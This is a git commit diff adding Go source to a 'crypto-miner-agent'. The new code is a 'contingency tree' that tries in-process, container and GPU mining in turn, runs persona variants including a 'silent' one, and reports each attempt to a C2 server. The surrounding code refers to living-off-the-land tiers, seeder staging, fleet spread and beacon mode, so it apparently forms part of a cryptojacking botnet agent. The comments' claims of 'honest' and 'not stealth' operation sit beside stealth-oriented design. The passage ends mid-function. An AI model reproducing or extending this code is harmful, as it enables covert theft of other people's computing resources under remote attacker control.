Add onion contingency miner tree with orchestrator and Seer telemetry.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Single-host branch runner complements fallback chain under Fleet AI Control: persona ghost forks, onion_miner_log hops, server exhaustion splice from graft mining genome, Crucible depth badge, and hospice retire after max cycles.
This commit is contained in:
@@ -60,6 +60,8 @@ type AgentClient struct {
|
||||
hostMiningDisabled atomic.Bool
|
||||
// miningChain orchestrates container → in-process → GPU → Stratum cascade.
|
||||
miningChain *MiningChainRunner
|
||||
// contingency runs the autonomous onion contingency tree when server policy enables it.
|
||||
contingency *ContingencyRunner
|
||||
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
|
||||
tierPolicy miner.MiningTierPolicy
|
||||
// adaptiveStrategy holds server reasoning trace for diagnostics/UI.
|
||||
@@ -106,6 +108,8 @@ type AgentClient struct {
|
||||
beaconMode atomic.Bool
|
||||
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
|
||||
wsDownSince atomic.Value // stores time.Time
|
||||
// miningCtx is the lifetime context for mining/contingency goroutines.
|
||||
miningCtx context.Context
|
||||
}
|
||||
|
||||
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
@@ -141,6 +145,7 @@ func (c *AgentClient) Run() error {
|
||||
|
||||
chainCtx, chainCancel := context.WithCancel(context.Background())
|
||||
defer chainCancel()
|
||||
c.miningCtx = chainCtx
|
||||
c.miningChain = c.newMiningChainRunner()
|
||||
if isSeeder {
|
||||
deploy.StartSeederStaging(c.cfg)
|
||||
@@ -422,6 +427,7 @@ func (c *AgentClient) authenticate() error {
|
||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||
}
|
||||
c.applyAuthLotlPolicy(resp)
|
||||
c.startContingencyIfEnabled(c.miningCtx)
|
||||
c.applyAuthFleetRole(resp)
|
||||
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
|
||||
if resp.FleetTorrentEnabled {
|
||||
@@ -545,6 +551,11 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
go c.applyPolicyUpdate(msg.Payload)
|
||||
case "graft_policy":
|
||||
c.applyGraftPolicyJSON(msg.Payload)
|
||||
case "contingency_branch_params":
|
||||
c.applyContingencyBranchParamsJSON(msg.Payload)
|
||||
if c.contingency != nil && c.miningCtx != nil {
|
||||
c.contingency.Resume(c.miningCtx)
|
||||
}
|
||||
case "adaptive_strategy_update":
|
||||
c.applyAdaptiveStrategyJSON(msg.Payload)
|
||||
case "ai_snapshot_request":
|
||||
@@ -614,6 +625,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
wslRT := miner.WSLDetector()
|
||||
_ = miner.ToggleWSLMining(wslRT, "", false)
|
||||
}
|
||||
if c.contingency != nil {
|
||||
c.contingency.Stop()
|
||||
}
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Stop()
|
||||
} else {
|
||||
@@ -630,6 +644,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining paused")
|
||||
case "resume":
|
||||
if c.contingency != nil && c.miningCtx != nil {
|
||||
c.contingency.Resume(c.miningCtx)
|
||||
}
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Resume(context.Background())
|
||||
} else {
|
||||
@@ -1227,6 +1244,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.StratumEgress = c.stratumEgress(false)
|
||||
}
|
||||
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
||||
if depth := c.contingencyDepthForStats(); depth > 0 {
|
||||
stats.ContingencyDepth = depth
|
||||
}
|
||||
deploy.SetSpreadMiningTelemetry(stats.MiningHashrate, stats.ChainExhausted)
|
||||
if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
|
||||
stats.AtlasSkips = atlasSkips
|
||||
|
||||
262
agent/client/contingency_runner.go
Normal file
262
agent/client/contingency_runner.go
Normal file
@@ -0,0 +1,262 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"log"
|
||||
"sync"
|
||||
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
// ContingencyRunner wires the onion contingency tree into AgentClient mining.
|
||||
type ContingencyRunner struct {
|
||||
client *AgentClient
|
||||
runner *miner.ContingencyTreeRunner
|
||||
gate *miner.PoolGate
|
||||
mu sync.Mutex
|
||||
cancel context.CancelFunc
|
||||
enabled bool
|
||||
}
|
||||
|
||||
func (c *AgentClient) newContingencyRunner() *ContingencyRunner {
|
||||
cr := &ContingencyRunner{client: c, gate: miner.NewPoolGate()}
|
||||
return cr
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyContingencyPolicyJSON(raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var p miner.ContingencyPolicy
|
||||
if err := json.Unmarshal(raw, &p); err != nil {
|
||||
return
|
||||
}
|
||||
p = miner.NormalizeContingencyPolicy(p)
|
||||
c.mu.Lock()
|
||||
if c.contingency == nil {
|
||||
c.contingency = c.newContingencyRunner()
|
||||
}
|
||||
c.contingency.enabled = p.Enabled
|
||||
c.mu.Unlock()
|
||||
if p.Enabled {
|
||||
c.contingency.rebuildRunner(p)
|
||||
log.Printf("[contingency] policy enabled personas=%v hospice_after=%d", p.Personas, p.HospiceAfter)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyContingencyBranchParamsJSON(raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var p miner.ContingencyBranchParams
|
||||
if err := json.Unmarshal(raw, &p); err != nil {
|
||||
return
|
||||
}
|
||||
c.mu.Lock()
|
||||
cr := c.contingency
|
||||
c.mu.Unlock()
|
||||
if cr == nil || cr.runner == nil {
|
||||
return
|
||||
}
|
||||
cr.runner.ApplyBranchParams(p)
|
||||
log.Printf("[contingency] branch params applied: %s", p.Reason)
|
||||
}
|
||||
|
||||
func (cr *ContingencyRunner) rebuildRunner(policy miner.ContingencyPolicy) {
|
||||
c := cr.client
|
||||
hooks := miner.BranchAttemptHooks{
|
||||
StartInProcess: func() error {
|
||||
if c.miningChain == nil {
|
||||
return miner.ErrMethodUnavailable
|
||||
}
|
||||
return c.miningChain.startInProcess()
|
||||
},
|
||||
StartContainer: func() error {
|
||||
if c.miningChain == nil {
|
||||
return miner.ErrMethodUnavailable
|
||||
}
|
||||
return c.miningChain.startContainer()
|
||||
},
|
||||
StartGPU: func() error {
|
||||
if c.miningChain == nil {
|
||||
return miner.ErrMethodUnavailable
|
||||
}
|
||||
return c.miningChain.startGPU()
|
||||
},
|
||||
ApplyIdleTune: cr.applyIdleTune,
|
||||
ApplySurgery: cr.applySelfSurgery,
|
||||
StopAll: func() {
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.StopBranchAttempt()
|
||||
}
|
||||
},
|
||||
Hashrate: cr.snapshotHashrate,
|
||||
PoolActive: cr.gate.Active,
|
||||
AcquirePool: func() bool {
|
||||
return cr.gate.Acquire("canonical")
|
||||
},
|
||||
ReleasePool: func() {
|
||||
cr.gate.Release("canonical")
|
||||
},
|
||||
}
|
||||
cr.runner = miner.NewContingencyTreeRunner(policy, hooks, cr.reportHop)
|
||||
}
|
||||
|
||||
func (cr *ContingencyRunner) applyIdleTune() error {
|
||||
// Brief host pause — contingency discipline backoff, not stealth.
|
||||
cr.client.pool.PauseRemote()
|
||||
cr.client.hostMiningDisabled.Store(true)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (cr *ContingencyRunner) applySelfSurgery(skip []string, force string) error {
|
||||
c := cr.client
|
||||
policy := c.miningTierPolicy()
|
||||
for _, s := range skip {
|
||||
tier := miner.LOTLTier(s)
|
||||
if tier == "" {
|
||||
continue
|
||||
}
|
||||
policy.SkipTiers = append(policy.SkipTiers, tier)
|
||||
}
|
||||
if force != "" {
|
||||
policy.ForceTier = miner.LOTLTier(force)
|
||||
}
|
||||
c.mu.Lock()
|
||||
c.tierPolicy = policy
|
||||
c.mu.Unlock()
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Restart(context.Background())
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (cr *ContingencyRunner) snapshotHashrate() float64 {
|
||||
c := cr.client
|
||||
if c.miningChain != nil {
|
||||
st := c.miningChain.Status()
|
||||
if st.ActiveMethod != "" {
|
||||
if hr := cr.latestMiningHashrate(); hr > 0 {
|
||||
return hr
|
||||
}
|
||||
}
|
||||
}
|
||||
return cr.latestMiningHashrate()
|
||||
}
|
||||
|
||||
func (cr *ContingencyRunner) latestMiningHashrate() float64 {
|
||||
c := cr.client
|
||||
if c.containerMiner != nil {
|
||||
if ch := c.containerMiner.ProbeHashrate(); ch > 0 {
|
||||
return ch
|
||||
}
|
||||
}
|
||||
if c.pool != nil {
|
||||
return c.pool.HashesPerSecond()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (cr *ContingencyRunner) reportHop(hop miner.OnionMinerHop, depth int, exhausted bool) {
|
||||
c := cr.client
|
||||
payload, err := json.Marshal(struct {
|
||||
miner.OnionMinerHop
|
||||
Depth int `json:"contingency_depth"`
|
||||
Exhausted bool `json:"exhausted,omitempty"`
|
||||
Hops int `json:"hop_count"`
|
||||
}{
|
||||
OnionMinerHop: hop,
|
||||
Depth: depth,
|
||||
Exhausted: exhausted,
|
||||
Hops: depth,
|
||||
})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_ = c.write(Message{Type: "onion_miner_log", Payload: payload})
|
||||
}
|
||||
|
||||
// Start launches the contingency tree when policy is enabled.
|
||||
func (cr *ContingencyRunner) Start(ctx context.Context) {
|
||||
cr.mu.Lock()
|
||||
if !cr.enabled || cr.runner == nil {
|
||||
cr.mu.Unlock()
|
||||
return
|
||||
}
|
||||
if cr.cancel != nil {
|
||||
cr.mu.Unlock()
|
||||
return
|
||||
}
|
||||
runCtx, cancel := context.WithCancel(ctx)
|
||||
cr.cancel = cancel
|
||||
runner := cr.runner
|
||||
cr.mu.Unlock()
|
||||
go runner.Run(runCtx)
|
||||
}
|
||||
|
||||
// Stop halts the contingency tree (operator pause).
|
||||
func (cr *ContingencyRunner) Stop() {
|
||||
cr.mu.Lock()
|
||||
if cr.cancel != nil {
|
||||
cr.cancel()
|
||||
cr.cancel = nil
|
||||
}
|
||||
if cr.runner != nil {
|
||||
cr.runner.SetOperatorPaused(true)
|
||||
}
|
||||
cr.mu.Unlock()
|
||||
}
|
||||
|
||||
// Resume clears operator pause and restarts the tree.
|
||||
func (cr *ContingencyRunner) Resume(ctx context.Context) {
|
||||
cr.mu.Lock()
|
||||
if cr.runner != nil {
|
||||
cr.runner.SetOperatorPaused(false)
|
||||
}
|
||||
if cr.cancel != nil {
|
||||
cr.cancel()
|
||||
cr.cancel = nil
|
||||
}
|
||||
enabled := cr.enabled
|
||||
runner := cr.runner
|
||||
cr.mu.Unlock()
|
||||
if enabled && runner != nil {
|
||||
runCtx, cancel := context.WithCancel(ctx)
|
||||
cr.mu.Lock()
|
||||
cr.cancel = cancel
|
||||
cr.mu.Unlock()
|
||||
go runner.Run(runCtx)
|
||||
}
|
||||
}
|
||||
|
||||
// Depth returns current onion hop count for stats.
|
||||
func (cr *ContingencyRunner) Depth() int {
|
||||
cr.mu.Lock()
|
||||
runner := cr.runner
|
||||
cr.mu.Unlock()
|
||||
if runner == nil {
|
||||
return 0
|
||||
}
|
||||
return runner.Depth()
|
||||
}
|
||||
|
||||
func (c *AgentClient) startContingencyIfEnabled(ctx context.Context) {
|
||||
c.mu.Lock()
|
||||
cr := c.contingency
|
||||
c.mu.Unlock()
|
||||
if cr == nil || !cr.enabled || cr.runner == nil {
|
||||
return
|
||||
}
|
||||
cr.Start(ctx)
|
||||
}
|
||||
|
||||
func (c *AgentClient) contingencyDepthForStats() int {
|
||||
c.mu.Lock()
|
||||
cr := c.contingency
|
||||
c.mu.Unlock()
|
||||
if cr == nil {
|
||||
return 0
|
||||
}
|
||||
return cr.Depth()
|
||||
}
|
||||
46
agent/client/contingency_runner_test.go
Normal file
46
agent/client/contingency_runner_test.go
Normal file
@@ -0,0 +1,46 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
func TestApplyContingencyPolicyEnablesRunner(t *testing.T) {
|
||||
c := &AgentClient{}
|
||||
raw, _ := json.Marshal(miner.ContingencyPolicy{
|
||||
Enabled: true,
|
||||
Personas: []string{"silent", "aggressive"},
|
||||
})
|
||||
c.applyContingencyPolicyJSON(raw)
|
||||
if c.contingency == nil || !c.contingency.enabled {
|
||||
t.Fatal("expected contingency enabled")
|
||||
}
|
||||
if c.contingency.runner == nil {
|
||||
t.Fatal("expected runner built")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyContingencyBranchParams(t *testing.T) {
|
||||
c := &AgentClient{}
|
||||
raw, _ := json.Marshal(miner.ContingencyPolicy{Enabled: true})
|
||||
c.applyContingencyPolicyJSON(raw)
|
||||
params, _ := json.Marshal(miner.ContingencyBranchParams{
|
||||
BranchOrder: []string{"container", "inprocess"},
|
||||
Persona: "aggressive",
|
||||
SkipMethods: []string{"gpu_subprocess"},
|
||||
Reason: "court branch splice",
|
||||
})
|
||||
c.applyContingencyBranchParamsJSON(params)
|
||||
if c.contingency == nil || c.contingency.runner == nil {
|
||||
t.Fatal("expected runner after branch params")
|
||||
}
|
||||
}
|
||||
|
||||
func TestContingencyDepthForStats(t *testing.T) {
|
||||
c := &AgentClient{}
|
||||
if c.contingencyDepthForStats() != 0 {
|
||||
t.Fatal("expected 0 depth")
|
||||
}
|
||||
}
|
||||
652
agent/miner/contingency_tree.go
Normal file
652
agent/miner/contingency_tree.go
Normal file
@@ -0,0 +1,652 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"math"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Contingency branch identifiers — honest telemetry labels for operator Seer feed.
|
||||
type ContingencyBranch string
|
||||
|
||||
const (
|
||||
BranchInProcess ContingencyBranch = "inprocess"
|
||||
BranchContainer ContingencyBranch = "container"
|
||||
BranchGPUSubprocess ContingencyBranch = "gpu_subprocess"
|
||||
BranchIdleTune ContingencyBranch = "idle_tune"
|
||||
BranchSelfSurgery ContingencyBranch = "self_surgery"
|
||||
)
|
||||
|
||||
// DefaultContingencyBranchOrder is the canonical single-host contingency walk.
|
||||
var DefaultContingencyBranchOrder = []ContingencyBranch{
|
||||
BranchInProcess,
|
||||
BranchContainer,
|
||||
BranchGPUSubprocess,
|
||||
BranchIdleTune,
|
||||
BranchSelfSurgery,
|
||||
}
|
||||
|
||||
// OnionMinerHop is one layer in the contingency onion log shipped to C2.
|
||||
type OnionMinerHop struct {
|
||||
HopIndex int `json:"hop_index"`
|
||||
BranchID string `json:"branch_id"`
|
||||
Persona string `json:"persona,omitempty"`
|
||||
Method string `json:"method"`
|
||||
Outcome string `json:"outcome"`
|
||||
Hashrate float64 `json:"hashrate"`
|
||||
IsGhost bool `json:"is_ghost,omitempty"`
|
||||
Timestamp string `json:"ts"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
}
|
||||
|
||||
// ContingencyPolicy is server-pulled discipline for the local contingency tree.
|
||||
type ContingencyPolicy struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
BranchOrder []string `json:"branch_order,omitempty"`
|
||||
Personas []string `json:"personas,omitempty"`
|
||||
HospiceAfter int `json:"hospice_after,omitempty"`
|
||||
JitterMs int `json:"jitter_ms,omitempty"`
|
||||
RotatePaths bool `json:"rotate_paths,omitempty"`
|
||||
}
|
||||
|
||||
// ContingencyBranchParams is a server push after exhaustion or court verdict.
|
||||
type ContingencyBranchParams struct {
|
||||
BranchOrder []string `json:"branch_order,omitempty"`
|
||||
Persona string `json:"persona,omitempty"`
|
||||
SkipMethods []string `json:"skip_methods,omitempty"`
|
||||
ForceMethod string `json:"force_method,omitempty"`
|
||||
Reason string `json:"reason,omitempty"`
|
||||
}
|
||||
|
||||
// BranchAttemptHooks wire agent-specific start/stop without importing client.
|
||||
type BranchAttemptHooks struct {
|
||||
StartInProcess func() error
|
||||
StartContainer func() error
|
||||
StartGPU func() error
|
||||
ApplyIdleTune func() error
|
||||
ApplySurgery func(skip []string, force string) error
|
||||
StopAll func()
|
||||
Hashrate func() float64
|
||||
PoolActive func() bool
|
||||
AcquirePool func() bool
|
||||
ReleasePool func()
|
||||
}
|
||||
|
||||
// OnionLogReporter ships onion_miner_log frames to C2.
|
||||
type OnionLogReporter func(hop OnionMinerHop, depth int, exhausted bool)
|
||||
|
||||
// ContingencyTreeRunner executes the ordered contingency tree with optional ghost personas.
|
||||
type ContingencyTreeRunner struct {
|
||||
mu sync.Mutex
|
||||
policy ContingencyPolicy
|
||||
branchOrder []ContingencyBranch
|
||||
personas []string
|
||||
hooks BranchAttemptHooks
|
||||
report OnionLogReporter
|
||||
hops []OnionMinerHop
|
||||
hopIndex int
|
||||
frozenWinner string
|
||||
frozenMethod ContingencyBranch
|
||||
exhaustCycles int
|
||||
hospiceRetired bool
|
||||
operatorPaused bool
|
||||
skipMethods map[string]bool
|
||||
forceMethod ContingencyBranch
|
||||
pendingParams *ContingencyBranchParams
|
||||
}
|
||||
|
||||
// NewContingencyTreeRunner builds a runner from server policy and hooks.
|
||||
func NewContingencyTreeRunner(policy ContingencyPolicy, hooks BranchAttemptHooks, report OnionLogReporter) *ContingencyTreeRunner {
|
||||
r := &ContingencyTreeRunner{
|
||||
policy: NormalizeContingencyPolicy(policy),
|
||||
hooks: hooks,
|
||||
report: report,
|
||||
skipMethods: make(map[string]bool),
|
||||
}
|
||||
r.branchOrder = r.policyBranchOrder()
|
||||
r.personas = append([]string(nil), r.policy.Personas...)
|
||||
return r
|
||||
}
|
||||
|
||||
// NormalizeContingencyPolicy fills defaults for zero-config server pull.
|
||||
func NormalizeContingencyPolicy(p ContingencyPolicy) ContingencyPolicy {
|
||||
if len(p.BranchOrder) == 0 {
|
||||
p.BranchOrder = branchesToStrings(DefaultContingencyBranchOrder)
|
||||
}
|
||||
if len(p.Personas) == 0 {
|
||||
p.Personas = []string{"balanced", "silent", "aggressive"}
|
||||
}
|
||||
if p.HospiceAfter <= 0 {
|
||||
p.HospiceAfter = 12
|
||||
}
|
||||
if p.JitterMs <= 0 {
|
||||
p.JitterMs = 750
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
func branchesToStrings(in []ContingencyBranch) []string {
|
||||
out := make([]string, len(in))
|
||||
for i, b := range in {
|
||||
out[i] = string(b)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (r *ContingencyTreeRunner) policyBranchOrder() []ContingencyBranch {
|
||||
raw := r.policy.BranchOrder
|
||||
if len(raw) == 0 {
|
||||
return append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...)
|
||||
}
|
||||
out := make([]ContingencyBranch, 0, len(raw))
|
||||
for _, s := range raw {
|
||||
b := ContingencyBranch(s)
|
||||
if b == "" {
|
||||
continue
|
||||
}
|
||||
out = append(out, b)
|
||||
}
|
||||
if len(out) == 0 {
|
||||
return append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Depth returns the number of onion hops logged this strain cycle.
|
||||
func (r *ContingencyTreeRunner) Depth() int {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
return len(r.hops)
|
||||
}
|
||||
|
||||
// Frozen returns whether a winning branch is frozen.
|
||||
func (r *ContingencyTreeRunner) Frozen() (method ContingencyBranch, ok bool) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
if r.frozenMethod == "" {
|
||||
return "", false
|
||||
}
|
||||
return r.frozenMethod, true
|
||||
}
|
||||
|
||||
// Hops returns a copy of the onion log.
|
||||
func (r *ContingencyTreeRunner) Hops() []OnionMinerHop {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
out := make([]OnionMinerHop, len(r.hops))
|
||||
copy(out, r.hops)
|
||||
return out
|
||||
}
|
||||
|
||||
// SetOperatorPaused stops the tree until cleared (operator pause command).
|
||||
func (r *ContingencyTreeRunner) SetOperatorPaused(paused bool) {
|
||||
r.mu.Lock()
|
||||
r.operatorPaused = paused
|
||||
r.mu.Unlock()
|
||||
}
|
||||
|
||||
// ApplyBranchParams merges a server/court push and clears exhaustion hospice counter.
|
||||
func (r *ContingencyTreeRunner) ApplyBranchParams(p ContingencyBranchParams) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
if len(p.BranchOrder) > 0 {
|
||||
r.branchOrder = parseBranchOrder(p.BranchOrder)
|
||||
}
|
||||
if p.Persona != "" {
|
||||
r.personas = []string{p.Persona}
|
||||
}
|
||||
r.skipMethods = make(map[string]bool)
|
||||
for _, s := range p.SkipMethods {
|
||||
r.skipMethods[s] = true
|
||||
}
|
||||
if p.ForceMethod != "" {
|
||||
r.forceMethod = ContingencyBranch(p.ForceMethod)
|
||||
}
|
||||
r.pendingParams = nil
|
||||
r.exhaustCycles = 0
|
||||
}
|
||||
|
||||
func parseBranchOrder(raw []string) []ContingencyBranch {
|
||||
out := make([]ContingencyBranch, 0, len(raw))
|
||||
for _, s := range raw {
|
||||
if b := ContingencyBranch(s); b != "" {
|
||||
out = append(out, b)
|
||||
}
|
||||
}
|
||||
if len(out) == 0 {
|
||||
return append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// MutateBranchOrderForPersona applies contingency discipline — honest label in Seer detail.
|
||||
func MutateBranchOrderForPersona(base []ContingencyBranch, persona string, rotate bool) []ContingencyBranch {
|
||||
order := append([]ContingencyBranch(nil), base...)
|
||||
switch persona {
|
||||
case "aggressive":
|
||||
order = promoteBranch(order, BranchGPUSubprocess)
|
||||
order = promoteBranch(order, BranchInProcess)
|
||||
case "silent":
|
||||
order = promoteBranch(order, BranchContainer)
|
||||
order = demoteBranch(order, BranchGPUSubprocess)
|
||||
case "passive":
|
||||
order = promoteBranch(order, BranchIdleTune)
|
||||
case "persuasive":
|
||||
order = promoteBranch(order, BranchContainer)
|
||||
order = promoteBranch(order, BranchSelfSurgery)
|
||||
}
|
||||
if rotate {
|
||||
order = rotateBranchOrder(order, personaRotationSeed(persona))
|
||||
}
|
||||
return order
|
||||
}
|
||||
|
||||
func promoteBranch(order []ContingencyBranch, target ContingencyBranch) []ContingencyBranch {
|
||||
idx := -1
|
||||
for i, b := range order {
|
||||
if b == target {
|
||||
idx = i
|
||||
break
|
||||
}
|
||||
}
|
||||
if idx <= 0 {
|
||||
return order
|
||||
}
|
||||
out := append([]ContingencyBranch{target}, order[:idx]...)
|
||||
out = append(out, order[idx+1:]...)
|
||||
return out
|
||||
}
|
||||
|
||||
func demoteBranch(order []ContingencyBranch, target ContingencyBranch) []ContingencyBranch {
|
||||
idx := -1
|
||||
for i, b := range order {
|
||||
if b == target {
|
||||
idx = i
|
||||
break
|
||||
}
|
||||
}
|
||||
if idx < 0 || idx == len(order)-1 {
|
||||
return order
|
||||
}
|
||||
out := append([]ContingencyBranch(nil), order[:idx]...)
|
||||
out = append(out, order[idx+1:]...)
|
||||
out = append(out, target)
|
||||
return out
|
||||
}
|
||||
|
||||
func rotateBranchOrder(order []ContingencyBranch, seed uint32) []ContingencyBranch {
|
||||
if len(order) < 2 {
|
||||
return order
|
||||
}
|
||||
shift := int(seed % uint32(len(order)))
|
||||
out := append([]ContingencyBranch(nil), order[shift:]...)
|
||||
out = append(out, order[:shift]...)
|
||||
return out
|
||||
}
|
||||
|
||||
func personaRotationSeed(persona string) uint32 {
|
||||
var h uint32
|
||||
for i := 0; i < len(persona); i++ {
|
||||
h = h*31 + uint32(persona[i])
|
||||
}
|
||||
return h
|
||||
}
|
||||
|
||||
// Run executes the contingency tree until win, hospice, or operator pause.
|
||||
func (r *ContingencyTreeRunner) Run(ctx context.Context) {
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
r.mu.Lock()
|
||||
if r.operatorPaused || r.hospiceRetired {
|
||||
r.mu.Unlock()
|
||||
return
|
||||
}
|
||||
if r.frozenMethod != "" {
|
||||
r.mu.Unlock()
|
||||
return
|
||||
}
|
||||
r.mu.Unlock()
|
||||
|
||||
if r.runPass(ctx) {
|
||||
return
|
||||
}
|
||||
r.mu.Lock()
|
||||
r.exhaustCycles++
|
||||
exhausted := r.exhaustCycles >= r.policy.HospiceAfter
|
||||
if exhausted {
|
||||
r.hospiceRetired = true
|
||||
}
|
||||
cycles := r.exhaustCycles
|
||||
r.mu.Unlock()
|
||||
|
||||
r.emitHop(OnionMinerHop{
|
||||
Method: "contingency_tree",
|
||||
Outcome: "exhausted",
|
||||
Detail: "full branch pass exhausted — awaiting court/AI branch params or hospice",
|
||||
}, cycles, true)
|
||||
|
||||
if exhausted {
|
||||
r.emitHop(OnionMinerHop{
|
||||
Method: "hospice",
|
||||
Outcome: "strain_retired",
|
||||
Detail: "contingency discipline: strain retired after max exhaustion cycles",
|
||||
}, cycles, true)
|
||||
return
|
||||
}
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-time.After(r.jitterDuration()):
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (r *ContingencyTreeRunner) runPass(ctx context.Context) bool {
|
||||
r.mu.Lock()
|
||||
baseOrder := append([]ContingencyBranch(nil), r.branchOrder...)
|
||||
personas := append([]string(nil), r.personas...)
|
||||
force := r.forceMethod
|
||||
skips := make(map[string]bool, len(r.skipMethods))
|
||||
for k, v := range r.skipMethods {
|
||||
skips[k] = v
|
||||
}
|
||||
r.mu.Unlock()
|
||||
|
||||
if force != "" {
|
||||
return r.tryBranch(ctx, force, "canonical", "", false)
|
||||
}
|
||||
|
||||
type ghostResult struct {
|
||||
won bool
|
||||
method ContingencyBranch
|
||||
}
|
||||
results := make(chan ghostResult, len(personas)+1)
|
||||
|
||||
// Canonical branch walk (holds pool).
|
||||
go func() {
|
||||
for _, branch := range baseOrder {
|
||||
if skips[string(branch)] {
|
||||
continue
|
||||
}
|
||||
if r.tryBranch(ctx, branch, "canonical", "", false) {
|
||||
results <- ghostResult{won: true, method: branch}
|
||||
return
|
||||
}
|
||||
}
|
||||
results <- ghostResult{}
|
||||
}()
|
||||
|
||||
// Ghost persona probes — no double pool.
|
||||
for _, persona := range personas {
|
||||
persona := persona
|
||||
order := MutateBranchOrderForPersona(baseOrder, persona, r.policy.RotatePaths)
|
||||
go func() {
|
||||
for _, branch := range order {
|
||||
if skips[string(branch)] {
|
||||
continue
|
||||
}
|
||||
if r.tryBranch(ctx, branch, persona, persona, true) {
|
||||
results <- ghostResult{won: true, method: branch}
|
||||
return
|
||||
}
|
||||
}
|
||||
results <- ghostResult{}
|
||||
}()
|
||||
}
|
||||
|
||||
won := false
|
||||
for i := 0; i < len(personas)+1; i++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return true
|
||||
case res := <-results:
|
||||
if res.won {
|
||||
won = true
|
||||
}
|
||||
}
|
||||
}
|
||||
return won
|
||||
}
|
||||
|
||||
func (r *ContingencyTreeRunner) tryBranch(ctx context.Context, branch ContingencyBranch, branchID, persona string, ghost bool) bool {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return false
|
||||
default:
|
||||
}
|
||||
|
||||
if ghost {
|
||||
if r.hooks.PoolActive != nil && r.hooks.PoolActive() {
|
||||
r.emitHop(OnionMinerHop{
|
||||
BranchID: branchID,
|
||||
Persona: persona,
|
||||
Method: string(branch),
|
||||
Outcome: "ghost_skipped",
|
||||
IsGhost: true,
|
||||
Detail: "contingency discipline: ghost deferred — canonical holds pool",
|
||||
}, r.Depth(), false)
|
||||
return false
|
||||
}
|
||||
} else if r.hooks.AcquirePool != nil && !r.hooks.AcquirePool() {
|
||||
return false
|
||||
}
|
||||
|
||||
r.jitterWait(ctx)
|
||||
|
||||
hrBefore := r.snapshotHashrate()
|
||||
r.emitHop(OnionMinerHop{
|
||||
BranchID: branchID,
|
||||
Persona: persona,
|
||||
Method: string(branch),
|
||||
Outcome: "trying",
|
||||
Hashrate: hrBefore,
|
||||
IsGhost: ghost,
|
||||
Detail: r.branchDetail(branch, ghost),
|
||||
}, r.Depth(), false)
|
||||
|
||||
err := r.executeBranch(branch)
|
||||
hrAfter := r.snapshotHashrate()
|
||||
won := err == nil && hrAfter > 0
|
||||
|
||||
outcome := "lost"
|
||||
if won {
|
||||
outcome = "won"
|
||||
if ghost {
|
||||
outcome = "ghost_won"
|
||||
}
|
||||
} else if ghost {
|
||||
outcome = "ghost_lost"
|
||||
}
|
||||
|
||||
detail := ""
|
||||
if err != nil {
|
||||
detail = err.Error()
|
||||
}
|
||||
|
||||
r.emitHop(OnionMinerHop{
|
||||
BranchID: branchID,
|
||||
Persona: persona,
|
||||
Method: string(branch),
|
||||
Outcome: outcome,
|
||||
Hashrate: hrAfter,
|
||||
IsGhost: ghost,
|
||||
Detail: detail,
|
||||
}, r.Depth(), false)
|
||||
|
||||
if !ghost && r.hooks.ReleasePool != nil {
|
||||
r.hooks.ReleasePool()
|
||||
}
|
||||
|
||||
if won && !ghost {
|
||||
r.mu.Lock()
|
||||
r.frozenWinner = branchID
|
